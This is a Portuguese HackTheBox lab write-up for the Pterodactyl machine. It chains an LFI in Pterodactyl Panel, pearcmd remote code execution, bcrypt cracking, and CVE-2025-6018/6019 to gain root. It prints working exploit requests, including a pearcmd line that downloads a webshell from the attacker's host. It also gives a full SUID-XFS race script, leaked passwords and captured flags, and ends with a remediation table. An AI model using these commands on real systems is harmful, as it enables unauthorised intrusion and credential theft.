
HackTheBox — Pterodactyl (Medium/Linux) walkthrough. CVE-2025-49132 LFI → pearcmd RCE → quebra de bcrypt → SSH. Privesc via CVE-2025-6018 (bypass do pam_environment do PAM) + CVE-2025-6019 (condição de corrida no redimensionamento XFS do udisks2, bypass de nosuid) → root. Notas completas e etapas incluídas.
Data: 8 de abril de 2026
Alvo: Pterodactyl (HackTheBox)
Dificuldade: Média
SO: Linux (openSUSE Leap 15.6)
Testador: V0idW1re
A máquina Pterodactyl no HackTheBox apresentou um cenário de ataque realista envolvendo uma aplicação web mal configurada e vulnerabilidades de escalação de privilégios encadeadas. Partindo de uma posição não autenticada, o testador obteve comprometimento total do root por meio de uma sequência lógica de etapas de exploração. A cadeia de ataque envolveu uma vulnerabilidade de inclusão local de arquivos (LFI) não autenticada, abuso criativo de um gerenciador de pacotes PHP para execução remota de código, extração e quebra de credenciais e, por fim, o encadeamento de dois CVEs divulgados publicamente para escalar de um usuário de baixo privilégio para root.
| Campo | Valor |
|---|---|
| IP do Alvo | 10.129.25.223 |
| Hostname | pterodactyl.htb |
| SO | openSUSE Leap 15.6 |
| Serviços | SSH (22), HTTP (80) |
| Subdomínios | panel.pterodactyl.htb |
A avaliação seguiu uma metodologia padrão de teste de penetração:
Severidade: Crítica
Componente: Pterodactyl Panel v1.11.10 — endpoint /locales/locale.json
Descrição:
O endpoint de locales do Pterodactyl Panel não sanitizava os parâmetros de consulta locale e namespace, permitindo travessia de diretórios. Como a aplicação anexava .php ao valor de namespace e o carregava por meio do mecanismo de include do PHP, um atacante poderia forçar o servidor a carregar e executar arquivos PHP arbitrários no sistema de arquivos.
Exploit:
GET /locales/locale.json?locale=../../../../../../var/www/pterodactyl/&namespace=config/database
Impacto:
As credenciais do banco de dados foram extraídas de config/database.php:
pterodactylPteraPanelpanelA chave da aplicação Laravel também foi extraída de config/app.php.
Evidência:
{"connections":{"mysql":{"username":"pterodactyl","password":"PteraPanel"}}}
Severidade: Crítica
Componente: Instalação do PEAR do PHP + LFI
Descrição:
Com a primitiva de LFI estabelecida, o testador explorou o script pearcmd.php do gerenciador de pacotes PEAR. Quando a configuração do PHP possui register_argc_argv=On (confirmado via phpinfo), a query string é interpretada como argumentos de linha de comando pelo pearcmd. O comando download foi usado para buscar um webshell PHP do servidor do atacante e salvá-lo no diretório web público do painel.
Exploit:
GET /locales/locale.json?locale=../../../../../../usr/share/php/PEAR/&namespace=pearcmd&+download+http://10.10.15.128:8000/shell.php
Impacto:
Um webshell PHP foi gravado em /var/www/pterodactyl/public/shell.php, fornecendo execução remota de código não autenticada como o usuário wwwrun.
Evidência:
http://panel.pterodactyl.htb/shell.php?cmd=id
uid=474(wwwrun) gid=477(www) groups=477(www)
Severidade: Alta
Componente: Banco de dados MySQL do painel
Descrição:
Usando o shell de RCE, o testador conectou-se ao banco de dados MySQL com as credenciais obtidas via LFI. A tabela users continha senhas com hash bcrypt para todos os usuários do painel. O hash do usuário phileasfogg3 foi quebrado offline usando uma wordlist comum.
Exploit:
SELECT username, password FROM users;
Credencial Quebrada:
phileasfogg3!QAZ2wsxImpacto:
O acesso SSH foi obtido como phileasfogg3, e a flag de usuário foi capturada:
user.txt: 916235b4261e70fdb090402c641a7808
Severidade: Alta
Componente: Configuração do PAM — pam_env.so com user_readenv=1
Descrição:
A configuração do PAM no openSUSE Leap 15.6 carrega o arquivo ~/.pam_environment do usuário por meio do pam_env.so com user_readenv=1. Ao definir variáveis de ambiente específicas nesse arquivo, um usuário SSH sem privilégios pode enganar o systemd-logind e o Polkit para que a sessão seja considerada uma sessão de console físico ativa, obtendo assim privilégios allow_active.
Exploit:
echo -e "XDG_SEAT=seat0\nXDG_VTNR=1" > ~/.pam_environment
Após reconectar via SSH, a sessão foi reconhecida como Active=yes, permitindo chamadas sem privilégios a métodos D-Bus do udisks2 que normalmente exigem presença física no console.
Evidência:
udisksctl loop-setup -f /tmp/xfs.img
Mapped file /tmp/xfs.img as /dev/loop0.
# No authentication prompt
Severidade: Crítica
Componente: udisks2 v2.9.2 / libblockdev — org.freedesktop.UDisks2.Filesystem.Resize
Descrição:
Quando o udisks2 redimensiona um sistema de arquivos XFS via libblockdev, ele monta temporariamente a imagem do sistema de arquivos em um diretório acessível a todos os usuários em /tmp/blockdev.* sem os flags de montagem nosuid e nodev. Isso cria uma breve janela de condição de corrida durante a qual qualquer binário SUID presente na imagem pode ser executado com UID efetivo elevado.
Um atacante com privilégios Polkit allow_active (obtidos via CVE-2025-6018) pode:
udisksctl loop-setupNota Crítica sobre Compatibilidade da Imagem XFS:
A imagem XFS deve ser criada com flags específicos para o openSUSE Leap 15.6 (SP5/SP6):
mkfs.xfs -f -i exchange=0 -n parent=0 xfs.img
Exploit:
# Build malicious XFS image (on attacker machine)
dd if=/dev/zero of=xfs.img bs=1M count=300
mkfs.xfs -f -i exchange=0 -n parent=0 xfs.img
mount xfs.img /mnt
cp /bin/bash /mnt/bash
chown root:root /mnt/bash
chmod 4755 /mnt/bash
umount /mnt
# On target — race the resize window
udisksctl loop-setup -f /tmp/xfs.img
(while true; do
/tmp/blockdev.*/bash -p -c 'cp /usr/bin/bash /tmp/rb; chmod 4755 /tmp/rb' 2>/dev/null
done) &
busctl call org.freedesktop.UDisks2 \
/org/freedesktop/UDisks2/block_devices/loop0 \
org.freedesktop.UDisks2.Filesystem Resize "ta{sv}" 0 0
Evidência:
/tmp/blockdev.1LYHN3/bash -p -c 'id'
uid=1002(phileasfogg3) gid=100(users) euid=0(root) groups=100(users)
Flag de Root:
root.txt: d3a242011c18cb81f08ad80337330641
| Flag | Valor |
|---|---|
| user.txt | 916235b4261e70fdb090402c641a7808 |
| root.txt | d3a242011c18cb81f08ad80337330641 |
[Unauthenticated]
↓ CVE-2025-49132 (LFI)
[Database Credentials]
↓ pearcmd RCE
[wwwrun shell]
↓ MySQL credential dump + hash crack
[phileasfogg3 SSH]
↓ CVE-2025-6018 (PAM bypass → allow_active)
↓ CVE-2025-6019 (udisks2 XFS resize race)
[root]
Comprometimento total do sistema alvo. Um atacante com esse nível de acesso poderia:
Este relatório foi produzido para fins educacionais como parte de um exercício de laboratório do HackTheBox. Todos os testes foram realizados em um ambiente de laboratório legal e isolado.
| Achado | Remediação |
|---|
| CVE-2025-49132 (LFI) | Atualize o Pterodactyl Panel para a v1.11.11 ou posterior, que aplica validação estritamente alfanumérica nos parâmetros locale/namespace |
| pearcmd RCE | Defina register_argc_argv=Off no php.ini; remova o PEAR se não for necessário |
| Senha fraca | Aplique políticas de senha fortes; use um gerenciador de senhas |
| CVE-2025-6018 (PAM) | Defina user_readenv=0 na configuração do PAM para pam_env.so |
| CVE-2025-6019 (udisks2) | Atualize o udisks2 e o libblockdev para versões corrigidas; modifique a regra do Polkit para org.freedesktop.udisks2.modify-device alterando allow_active de yes para auth_admin |